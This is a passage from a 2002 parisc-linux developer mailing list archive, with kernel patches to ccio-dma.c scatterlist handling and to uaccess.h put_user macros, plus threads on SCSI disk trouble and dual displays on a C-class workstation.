	id 471112B108; Mon, 25 Nov 2002 11:59:26 -0700 (MST)
In-Reply-To: <20021124024358.7D5B0482E@dsl2.external.hp.com>
X-Mailer: Ximian Evolution 1.0.8 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16932

Thanks Grant!

I will look look at this and try this out later this week after I get
back!

Nice catch.

- Ryan


On Sat, 2002-11-23 at 19:43, Grant Grundler wrote:
> Ryan Bradetich wrote:
> > I am not sure what the highmem_io flag does, but when it is enabled it
> > causes my C200 to HPMC.
> 
> yeah - ccio-dma.c isn't using sg_virt_address() to access to the virtual
> address of an SG list entry. It's defined in include/asm/scatterlist.h.
> See sba_iommu.c on how to use this correctly.
> 
> Attached diff is a first cut, untested. My advice is to rewrite the
> loop so sg_virt_address() result is saved once instead of referencing
> the macro 3 (or more) times in the main loop.
> 
> grant
> 
> 
> Index: ccio-dma.c
> ===================================================================
> RCS file: /var/cvs/linux/arch/parisc/kernel/ccio-dma.c,v
> retrieving revision 1.56
> diff -u -p -r1.56 ccio-dma.c
> --- ccio-dma.c	17 Nov 2002 20:44:11 -0000	1.56
> +++ ccio-dma.c	24 Nov 2002 02:42:09 -0000
> @@ -805,7 +805,7 @@ ccio_fill_pdir(struct ioc *ioc, struct s
>  
>  		DBG_RUN_SG(" %d : %08lx/%05x %p/%05x\n", nents,
>  			   (unsigned long)sg_dma_address(startsg), cnt,
> -			   startsg->address, startsg->length
> +			   sg_virt_address(startsg), startsg->length
>  		);
>  
>  		/*
> @@ -825,7 +825,7 @@ ccio_fill_pdir(struct ioc *ioc, struct s
>  		** Look for a VCONTIG chunk
>  		*/
>  		if (cnt) {
> -			unsigned long vaddr = (unsigned long)startsg->address;
> +			unsigned long vaddr = (unsigned long)sg_virt_address(startsg);
>  			ASSERT(pdirp);
>  
>  			/* Since multiple Vcontig blocks could make up
> @@ -878,8 +878,8 @@ ccio_coalesce_chunks(struct ioc *ioc, st
>  		*/
>  		dma_sg = vcontig_sg = startsg;
>  		dma_len = vcontig_len = vcontig_end = startsg->length;
> -		vcontig_end += (unsigned long) startsg->address;
> -		dma_offset = (unsigned long) startsg->address & ~IOVP_MASK;
> +		vcontig_end += (unsigned long) sg_virt_address(startsg);
> +		dma_offset = (unsigned long) sg_virt_address(startsg) & ~IOVP_MASK;
>  
>  		/* PARANOID: clear entries */
>  		sg_dma_address(startsg) = 0;
> @@ -893,7 +893,7 @@ ccio_coalesce_chunks(struct ioc *ioc, st
>  			unsigned long startsg_end;
>  
>  			startsg++;
> -			startsg_end = (unsigned long)startsg->address + 
> +			startsg_end = (unsigned long)sg_virt_address(startsg) + 
>  				startsg->length;
>  
>  			/* PARANOID: clear entries */
> @@ -912,7 +912,7 @@ ccio_coalesce_chunks(struct ioc *ioc, st
>  			/*
>  			** Append the next transaction?
>  			*/
> -			if(vcontig_end == (unsigned long) startsg->address) {
> +			if(vcontig_end == (unsigned long) sg_virt_address(startsg)) {
>  				vcontig_len += startsg->length;
>  				vcontig_end += startsg->length;
>  				dma_len     += startsg->length;
> @@ -981,7 +981,8 @@ ccio_map_sg(struct pci_dev *dev, struct 
>  
>  	/* Fast path single entry scatterlists. */
>  	if(nents == 1) {
> -		sg_dma_address(sglist)= ccio_map_single(dev, sglist->address,
> +		sg_dma_address(sglist)= ccio_map_single(dev,
> +							sg_virt_address(sglist),
>  							sglist->length, 
>  							direction);
>  		sg_dma_len(sglist)= sglist->length;
> @@ -1043,7 +1044,7 @@ ccio_unmap_sg(struct pci_dev *dev, struc
>  	ioc = GET_IOC(dev);
>  
>  	DBG_RUN_SG("%s() START %d entries,  %p,%x\n",
> -		__FUNCTION__, nents, sglist->address, sglist->length);
> +		__FUNCTION__, nents, sg_virt_address(sglist), sglist->length);
>  
>  #ifdef CONFIG_PROC_FS
>  	ioc->usg_calls++;
> 




From - Thu Nov 08 21:25:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Disk problems
Date: Mon, 25 Nov 2002 12:12:22 -0800 (PST)
Lines: 46
Approved: news@gmane.org
Message-ID: <20021125201222.87249.qmail@web12501.mail.yahoo.com>
References: <200211251751.gAPHpHDf017394@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative; boundary="0-485422273-1038255142=:84644"
X-Trace: ger.gmane.org 1416621970 17726 80.91.229.3 (22 Nov 2014 02:06:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:10 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 25 13:12:27 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web12501.mail.yahoo.com (web12501.mail.yahoo.com [216.136.173.193])
	by dsl2.external.hp.com (Postfix) with SMTP id 50CBF4829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 25 Nov 2002 13:12:27 -0700 (MST)
Original-Received: from [156.153.255.126] by web12501.mail.yahoo.com via HTTP; Mon, 25 Nov 2002 12:12:22 PST
In-Reply-To: <200211251751.gAPHpHDf017394@hiauly1.hia.nrc.ca>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16933

--0-485422273-1038255142=:84644
Content-Type: text/plain; charset=us-ascii


http://www.seagate.com/support/seatools/index.html
I would try that tool.  I had a similar issue with an IBM drive and downloaded their disk test tool and the analysis of the drive fixed the issue.  This tool however only runs on Intel based systems.  Maybe a friend has a single ended SCSI card you could test with on a Winblows box?
derek
 John David Anglin <dave@hiauly1.hia.nrc.ca> wrote:> would a low level format on the mac do the same as low level using an
> adaptec card ?

If it works in a mac, the low-level formatting is probably ok. It's
most likely the data in block 0 or possibly some of the vendor info
that's the problem. You should also examine all switch settings and
check that the termination is correct.

Erase disk in the finder doesn't do a low-level format. It just builds
a new file systems. Various tools from Adaptec (FWB HDT) and other
vendors are available to do low-level formats on the Mac. The Sedit
program can probably issue a command to format the drive but I would
only do this as a last resort.

Dave
-- 
J. David Anglin dave.anglin@nrc.ca
National Research Council of Canada (613) 990-0752 (FAX: 952-6605)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux


---------------------------------
Do you Yahoo!?
Yahoo! Mail Plus - Powerful. Affordable. Sign up now
--0-485422273-1038255142=:84644
Content-Type: text/html; charset=us-ascii

<P><A href="http://www.seagate.com/support/seatools/index.html">http://www.seagate.com/support/seatools/index.html</A>
<P>I would try that tool.&nbsp; I had a similar issue with an IBM drive and downloaded their disk test tool and the analysis of the drive fixed the issue.&nbsp; This tool however only runs on Intel based systems.&nbsp; Maybe a friend has a single ended SCSI card you could test with on a Winblows box?
<P>derek
<P>&nbsp;<B><I>John David Anglin &lt;dave@hiauly1.hia.nrc.ca&gt;</I></B> wrote:
<BLOCKQUOTE style="PADDING-LEFT: 5px; MARGIN-LEFT: 5px; BORDER-LEFT: #1010ff 2px solid">&gt; would a low level format on the mac do the same as low level using an<BR>&gt; adaptec card ?<BR><BR>If it works in a mac, the low-level formatting is probably ok. It's<BR>most likely the data in block 0 or possibly some of the vendor info<BR>that's the problem. You should also examine all switch settings and<BR>check that the termination is correct.<BR><BR>Erase disk in the finder doesn't do a low-level format. It just builds<BR>a new file systems. Various tools from Adaptec (FWB HDT) and other<BR>vendors are available to do low-level formats on the Mac. The Sedit<BR>program can probably issue a command to format the drive but I would<BR>only do this as a last resort.<BR><BR>Dave<BR>-- <BR>J. David
  Anglin dave.anglin@nrc.ca<BR>National Research Council of Canada (613) 990-0752 (FAX: 952-6605)<BR>_______________________________________________<BR>parisc-linux mailing list<BR>parisc-linux@lists.parisc-linux.org<BR>http://lists.parisc-linux.org/mailman/listinfo/parisc-linux</BLOCKQUOTE><p><br><hr size=1>Do you Yahoo!?<br>
<a href="http://rd.yahoo.com/mail/mailsig/*http://mailplus.yahoo.com">Yahoo! Mail Plus</a> - Powerful. Affordable. <a href="http://rd.yahoo.com/mail/mailsig/*http://mailplus.yahoo.com">Sign up now</a>
--0-485422273-1038255142=:84644--


From - Thu Nov 08 21:25:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Disk problems
Date: Mon, 25 Nov 2002 14:07:33 -0700
Lines: 13
Approved: news@gmane.org
Message-ID: <20021125210733.1E89A4829@dsl2.external.hp.com>
References: <20021125201222.87249.qmail@web12501.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621970 17729 80.91.229.3 (22 Nov 2014 02:06:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:10 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 25 14:07:33 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 1E89A4829; Mon, 25 Nov 2002 14:07:33 -0700 (MST)
In-Reply-To: Message from Derek Engelhaupt <derekengelhaupt@rocketmail.com> 
   of "Mon, 25 Nov 2002 12:12:22 PST." <20021125201222.87249.qmail@web12501.mail.yahoo.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16934

Derek Engelhaupt wrote:
> If it works in a mac, the low-level formatting is probably ok. It's
> most likely the data in block 0 or possibly some of the vendor info
> that's the problem. You should also examine all switch settings and
> check that the termination is correct.

I privately speculating the nwe disk FW talks to the host differently.
ie it might disconnect/reconnect or send "msg" when the SCSI driver
is expecting something else. That at least would explain why mac or
hpux can deal with the disk but linux can't.

grant


From - Thu Nov 08 21:25:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Dual Video Cards?
Date: Mon, 25 Nov 2002 20:09:20 -0800 (PST)
Lines: 21
Approved: news@gmane.org
Message-ID: <20021126040920.32100.qmail@web12508.mail.yahoo.com>
References: <200211251751.gAPHpHDf017394@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative; boundary="0-330654634-1038283760=:31493"
X-Trace: ger.gmane.org 1416621970 17737 80.91.229.3 (22 Nov 2014 02:06:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:10 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 25 21:09:25 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web12508.mail.yahoo.com (web12508.mail.yahoo.com [216.136.173.200])
	by dsl2.external.hp.com (Postfix) with SMTP id 2A40B4829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 25 Nov 2002 21:09:25 -0700 (MST)
Original-Received: from [12.24.253.152] by web12508.mail.yahoo.com via HTTP; Mon, 25 Nov 2002 20:09:20 PST
In-Reply-To: <200211251751.gAPHpHDf017394@hiauly1.hia.nrc.ca>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16935

--0-330654634-1038283760=:31493
Content-Type: text/plain; charset=us-ascii


Anyone running dual displays on a C Class?  And if so how?  I understand it needs two video cards or one card with dual output.  Thanks.....

derek



---------------------------------
Do you Yahoo!?
Yahoo! Mail Plus - Powerful. Affordable. Sign up now
--0-330654634-1038283760=:31493
Content-Type: text/html; charset=us-ascii

<P>Anyone running dual displays on a C Class?&nbsp; And if so how?&nbsp; I understand it needs two video cards or one card with dual output.&nbsp; Thanks.....</P>
<P>derek</P><p><br><hr size=1>Do you Yahoo!?<br>
<a href="http://rd.yahoo.com/mail/mailsig/*http://mailplus.yahoo.com">Yahoo! Mail Plus</a> - Powerful. Affordable. <a href="http://rd.yahoo.com/mail/mailsig/*http://mailplus.yahoo.com">Sign up now</a>
--0-330654634-1038283760=:31493--


From - Thu Nov 08 21:25:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] uaccess ya patch
Date: Tue, 26 Nov 2002 11:05:17 +0100
Lines: 237
Approved: news@gmane.org
Message-ID: <3DAAAD46000048D6@ocpmta1.be.tiscali.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="=========3DAAAD46000048D6/mail.tiscali.be"
X-Trace: ger.gmane.org 1416621971 17740 80.91.229.3 (22 Nov 2014 02:06:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:11 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Randolph Chung" <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov 26 03:05:25 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id BADD94829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 26 Nov 2002 03:05:24 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18Gcak-0005VC-00; Tue, 26 Nov 2002 11:05:18 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Tue, 26 Nov 2002 11:05:17 +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16936

--=========3DAAAD46000048D6/mail.tiscali.be
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit

Hi Randolph,

Much more for info, here is another way I found to implement __put_?_asm64.

--- uaccess.h.orig	2002-11-26 10:11:56.000000000 +0100
+++ uaccess.h	2002-11-26 09:58:08.000000000 +0100
@@ -28,6 +28,11 @@
  * that put_user is the same as __put_user, etc.
  */
 
+extern int __get_kernel_bad(void);
+extern int __get_user_bad(void);
+extern int __put_kernel_bad(void);
+extern int __put_user_bad(void);
+
 #define access_ok(type,addr,size)   (1)
 #define verify_area(type,addr,size) (0)
 
@@ -35,8 +40,12 @@
 #define get_user __get_user
 
 #if BITS_PER_LONG == 32
-#define LDD_KERNEL(ptr)		BUG()
-#define LDD_USER(ptr)		BUG()
+#define LDD_KERNEL(ptr)		__get_kernel_bad();
+#define LDD_USER(ptr)		__get_user_bad();
+/*
+#define STD_KERNEL(x, ptr)	__put_kernel_bad();
+#define STD_USER(x, ptr)	__put_user_bad();
+*/
 #define STD_KERNEL(x, ptr) __put_kernel_asm64(x,ptr)
 #define STD_USER(x, ptr) __put_user_asm64(x,ptr)
 #else
@@ -75,7 +84,7 @@
 	    case 2: __get_kernel_asm("ldh",ptr); break; \
 	    case 4: __get_kernel_asm("ldw",ptr); break; \
 	    case 8: LDD_KERNEL(ptr); break;		\
-	    default: BUG(); break;                      \
+	    default: __get_kernel_bad(); break;         \
 	    }                                           \
 	}                                               \
 	else {                                          \
@@ -84,7 +93,7 @@
 	    case 2: __get_user_asm("ldh",ptr); break;   \
 	    case 4: __get_user_asm("ldw",ptr); break;   \
 	    case 8: LDD_USER(ptr);  break;		\
-	    default: BUG(); break;                      \
+	    default: __get_user_bad(); break;           \
 	    }                                           \
 	}                                               \
 							\
@@ -144,7 +153,7 @@
 	    case 2: __put_kernel_asm("sth",x,ptr); break;       \
 	    case 4: __put_kernel_asm("stw",x,ptr); break;       \
 	    case 8: STD_KERNEL(x,ptr); break;			\
-	    default: BUG(); break;                              \
+	    default: __put_kernel_bad(); break;			\
 	    }                                                   \
 	}                                                       \
 	else {                                                  \
@@ -153,7 +162,7 @@
 	    case 2: __put_user_asm("sth",x,ptr); break;         \
 	    case 4: __put_user_asm("stw",x,ptr); break;         \
 	    case 8: STD_USER(x,ptr); break;			\
-	    default: BUG(); break;                              \
+	    default: __put_user_bad(); break;			\
 	    }                                                   \
 	}                                                       \
 								\
@@ -211,45 +220,36 @@
 		: "=r"(__pu_err)                            \
 		: "r"(ptr), "r"(x), "0"(__pu_err))
 
-static inline void __put_kernel_asm64(u64 x, void *ptr)
-{
-	u32 hi = x>>32;
-	u32 lo = x&0xffffffff;
-	__asm__ __volatile__ (
-		"\n1:\tstw %1,0(%0)\n"
-		"\n2:\tstw %2,4(%0)\n"
-		"3:\n"
-		"\t.section __ex_table,\"a\"\n"
-		 "\t.word\t1b\n"
-		 "\t.word\t(3b-1b)+1\n"
-		 "\t.word\t2b\n"
-		 "\t.word\t(3b-2b)+1\n"
-		 "\t.previous"
-		: : "r"(ptr), "r"(hi), "r"(lo));
-
-}
-
-static inline void __put_user_asm64(u64 x, void *ptr)
-{
-	u32 hi = x>>32;
-	u32 lo = x&0xffffffff;
-	__asm__ __volatile__ (
-		"\n1:\tstw %1,0(%%sr3,%0)\n"
-		"\n2:\tstw %2,4(%%sr3,%0)\n"
-		"3:\n"
-		"\t.section __ex_table,\"a\"\n"
-		 "\t.word\t1b\n"
-		 "\t.word\t(3b-1b)+1\n"
-		 "\t.word\t2b\n"
-		 "\t.word\t(3b-2b)+1\n"
-		 "\t.previous"
-		: : "r"(ptr), "r"(hi), "r"(lo));
+#define __put_kernel_asm64(x, ptr)		\
+	__asm__ __volatile__ (			\
+		"\n1:\tstw\t%2,0(%1)\n"		\
+		"2:\tstw\t%R2,4(%1)\n"		\
+		"3:\n"				\
+		"\t.section __ex_table,\"a\"\n"	\
+		 "\t.word\t1b\n"		\
+		 "\t.word\t(3b-1b)+1\n"		\
+		 "\t.word\t2b\n"		\
+		 "\t.word\t(3b-2b)+1\n"		\
+		 "\t.previous"			\
+		: "=r"(__pu_err)		\
+		: "r"(ptr), "r"(x), "0"(__pu_err))
 
-}
+#define __put_user_asm64(x, ptr)		\
+	__asm__ __volatile__ (			\
+		"\n1:\tstw\t%2,0(%%sr3,%1)\n"	\
+		"2:\tstw\t%R2,4(%%sr3,%1)\n"	\
+		"3:\n"				\
+		"\t.section __ex_table,\"a\"\n"	\
+		 "\t.word\t1b\n"		\
+		 "\t.word\t(3b-1b)+1\n"		\
+		 "\t.word\t2b\n"		\
+		 "\t.word\t(3b-2b)+1\n"		\
+		 "\t.previous"			\
+		: "=r"(__pu_err)		\
+		: "r"(ptr), "r"(x), "0"(__pu_err))
 
 #endif
 
-
 /*
  * Complex access routines -- external declarations
  */

Cheers,
    Joel

********************************************************************************
Controlez mieux votre consommation Internet...surfez Tiscali Complete...http://tiscali.complete.be



--=========3DAAAD46000048D6/mail.tiscali.be
Content-Type: text/plain
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="pa-uaccess_h.txt"

LS0tIHVhY2Nlc3MuaC5vcmlnCTIwMDItMTEtMjYgMTA6MTE6NTYuMDAwMDAwMDAwICswMTAwCisr
KyB1YWNjZXNzLmgJMjAwMi0xMS0yNiAwOTo1ODowOC4wMDAwMDAwMDAgKzAxMDAKQEAgLTI4LDYg
KzI4LDExIEBACiAgKiB0aGF0IHB1dF91c2VyIGlzIHRoZSBzYW1lIGFzIF9fcHV0X3VzZXIsIGV0
Yy4KICAqLwogCitleHRlcm4gaW50IF9fZ2V0X2tlcm5lbF9iYWQodm9pZCk7CitleHRlcm4gaW50
IF9fZ2V0X3VzZXJfYmFkKHZvaWQpOworZXh0ZXJuIGludCBfX3B1dF9rZXJuZWxfYmFkKHZvaWQp
OworZXh0ZXJuIGludCBfX3B1dF91c2VyX2JhZCh2b2lkKTsKKwogI2RlZmluZSBhY2Nlc3Nfb2so
dHlwZSxhZGRyLHNpemUpICAgKDEpCiAjZGVmaW5lIHZlcmlmeV9hcmVhKHR5cGUsYWRkcixzaXpl
KSAoMCkKIApAQCAtMzUsOCArNDAsMTIgQEAKICNkZWZpbmUgZ2V0X3VzZXIgX19nZXRfdXNlcgog
CiAjaWYgQklUU19QRVJfTE9ORyA9PSAzMgotI2RlZmluZSBMRERfS0VSTkVMKHB0cikJCUJVRygp
Ci0jZGVmaW5lIExERF9VU0VSKHB0cikJCUJVRygpCisjZGVmaW5lIExERF9LRVJORUwocHRyKQkJ
X19nZXRfa2VybmVsX2JhZCgpOworI2RlZmluZSBMRERfVVNFUihwdHIpCQlfX2dldF91c2VyX2Jh
ZCgpOworLyoKKyNkZWZpbmUgU1REX0tFUk5FTCh4LCBwdHIpCV9fcHV0X2tlcm5lbF9iYWQoKTsK
KyNkZWZpbmUgU1REX1VTRVIoeCwgcHRyKQlfX3B1dF91c2VyX2JhZCgpOworKi8KICNkZWZpbmUg
U1REX0tFUk5FTCh4LCBwdHIpIF9fcHV0X2tlcm5lbF9hc202NCh4LHB0cikKICNkZWZpbmUgU1RE
X1VTRVIoeCwgcHRyKSBfX3B1dF91c2VyX2FzbTY0KHgscHRyKQogI2Vsc2UKQEAgLTc1LDcgKzg0
LDcgQEAKIAkgICAgY2FzZSAyOiBfX2dldF9rZXJuZWxfYXNtKCJsZGgiLHB0cik7IGJyZWFrOyBc
CiAJICAgIGNhc2UgNDogX19nZXRfa2VybmVsX2FzbSgibGR3IixwdHIpOyBicmVhazsgXAogCSAg
ICBjYXNlIDg6IExERF9LRVJORUwocHRyKTsgYnJlYWs7CQlcCi0JICAgIGRlZmF1bHQ6IEJVRygp
OyBicmVhazsgICAgICAgICAgICAgICAgICAgICAgXAorCSAgICBkZWZhdWx0OiBfX2dldF9rZXJu
ZWxfYmFkKCk7IGJyZWFrOyAgICAgICAgIFwKIAkgICAgfSAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICBcCiAJfSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgXAogCWVsc2UgeyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgIFwKQEAgLTg0LDcgKzkzLDcgQEAKIAkgICAgY2FzZSAyOiBfX2dldF91c2VyX2Fz
bSgibGRoIixwdHIpOyBicmVhazsgICBcCiAJICAgIGNhc2UgNDogX19nZXRfdXNlcl9hc20oImxk
dyIscHRyKTsgYnJlYWs7ICAgXAogCSAgICBjYXNlIDg6IExERF9VU0VSKHB0cik7ICBicmVhazsJ
CVwKLQkgICAgZGVmYXVsdDogQlVHKCk7IGJyZWFrOyAgICAgICAgICAgICAgICAgICAgICBcCisJ
ICAgIGRlZmF1bHQ6IF9fZ2V0X3VzZXJfYmFkKCk7IGJyZWFrOyAgICAgICAgICAgXAogCSAgICB9
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwKIAl9ICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcCiAJCQkJCQkJXApAQCAtMTQ0
LDcgKzE1Myw3IEBACiAJICAgIGNhc2UgMjogX19wdXRfa2VybmVsX2FzbSgic3RoIix4LHB0cik7
IGJyZWFrOyAgICAgICBcCiAJICAgIGNhc2UgNDogX19wdXRfa2VybmVsX2FzbSgic3R3Iix4LHB0
cik7IGJyZWFrOyAgICAgICBcCiAJICAgIGNhc2UgODogU1REX0tFUk5FTCh4LHB0cik7IGJyZWFr
OwkJCVwKLQkgICAgZGVmYXVsdDogQlVHKCk7IGJyZWFrOyAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgIFwKKwkgICAgZGVmYXVsdDogX19wdXRfa2VybmVsX2JhZCgpOyBicmVhazsJCQlcCiAJ
ICAgIH0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBc
CiAJfSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICBcCiAJZWxzZSB7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICBcCkBAIC0xNTMsNyArMTYyLDcgQEAKIAkgICAgY2FzZSAyOiBfX3B1dF91c2VyX2FzbSgi
c3RoIix4LHB0cik7IGJyZWFrOyAgICAgICAgIFwKIAkgICAgY2FzZSA0OiBfX3B1dF91c2VyX2Fz
bSgic3R3Iix4LHB0cik7IGJyZWFrOyAgICAgICAgIFwKIAkgICAgY2FzZSA4OiBTVERfVVNFUih4
LHB0cik7IGJyZWFrOwkJCVwKLQkgICAgZGVmYXVsdDogQlVHKCk7IGJyZWFrOyAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgIFwKKwkgICAgZGVmYXVsdDogX19wdXRfdXNlcl9iYWQoKTsgYnJl
YWs7CQkJXAogCSAgICB9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgXAogCX0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
